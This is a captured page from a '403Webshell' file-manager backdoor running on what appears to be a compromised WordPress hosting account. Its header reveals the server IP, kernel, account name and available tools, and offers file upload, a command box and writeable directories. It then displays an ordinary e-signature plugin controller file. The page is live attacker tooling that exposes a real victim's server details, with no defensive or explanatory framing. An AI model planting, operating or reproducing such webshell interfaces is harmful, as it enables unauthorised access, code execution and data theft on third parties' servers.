403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.148.113.167
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/mobilecreationz.com/wp-content/plugins/e-signature/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/mobilecreationz.com/wp-content/plugins/e-signature/controllers/appController.php
<?php

/**
 * appController
 * @since 0.1.0
 * @author Micah Blu
 */
abstract class WP_E_appController {

    private $viewsRootDir;
    public $view; //hold the view class
    public $controller;

    public function __construct() {

        $this->view = new WP_E_View();

        $this->user = new WP_E_User();

        $this->setting = new WP_E_Setting();
    }

    abstract function calling_class();

    public function getAssetDirectoryURI() {
        return ESIGN_ASSETS_DIR_URI;
    }

    /**
     * Instantiates View class, sets the current Model and fetches the requested view
     *
     * @since 1.1.0
     * @param void
     * @return void Outputs requested view HTML
     */
    public function fetchView($view, $data = null) {

        $model = $this->extractModelName($this->calling_class());
        $controller_file = $this->extractControllerName($this->calling_class());
        $this->view->setModel($model);

        // Globals
        $data['ESIGN_ASSETS_DIR_URI'] = ESIGN_ASSETS_DIR_URI;
        $data['ESIGN_PLUGIN_PATH'] = ESIGN_PLUGIN_PATH;

        $this->view->render($controller_file, $view, $data);
    }

    private function extractControllerName($classname) {
        $classname = preg_replace('/Controller$/', '', $classname);
        $classname = preg_replace('/^WP_E_/', '', $classname);
        return $classname;
    }

    private function extractModelName($classname) {
        $classname = preg_replace('/Controller$/', '', $classname);
        return ucfirst(substr($classname, 0, -1));
    }

    public function get_query_array() {

        $pairs = explode('&', $_SERVER['QUERY_STRING']);
        $query_array = array();

        foreach ($pairs as $pair) {
            if (strpos($pair,'=')) {
                list($name, $value) = explode('=', $pair);
                $query_array[$name] = $value;
            }
        }

        return $query_array;
    }

    public function get_query_var($var) {
        $query_array = $this->get_query_array();

        if (isset($query_array[$var]))
            return $query_array[$var];
        else
            return false;
    }

    /**
     * Global scope abstraction layer for controllers to the native get_pages method
     *
     * @since 0.1.0
     * @param null
     * @return [Array]
     */
    public function getPages() {
        $args = array(
            'sort_order' => 'ASC',
            'sort_column' => 'post_title',
            'hierarchical' => 1,
            'exclude' => '',
            'include' => '',
            'meta_key' => '',
            'meta_value' => '',
            'authors' => '',
            'child_of' => 0,
            'parent' => -1,
            'exclude_tree' => '',
            'number' => '',
            'offset' => 0,
            'post_type' => 'page',
            'post_status' => 'publish'
        );
        $pages = get_pages($args);
        return $pages;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit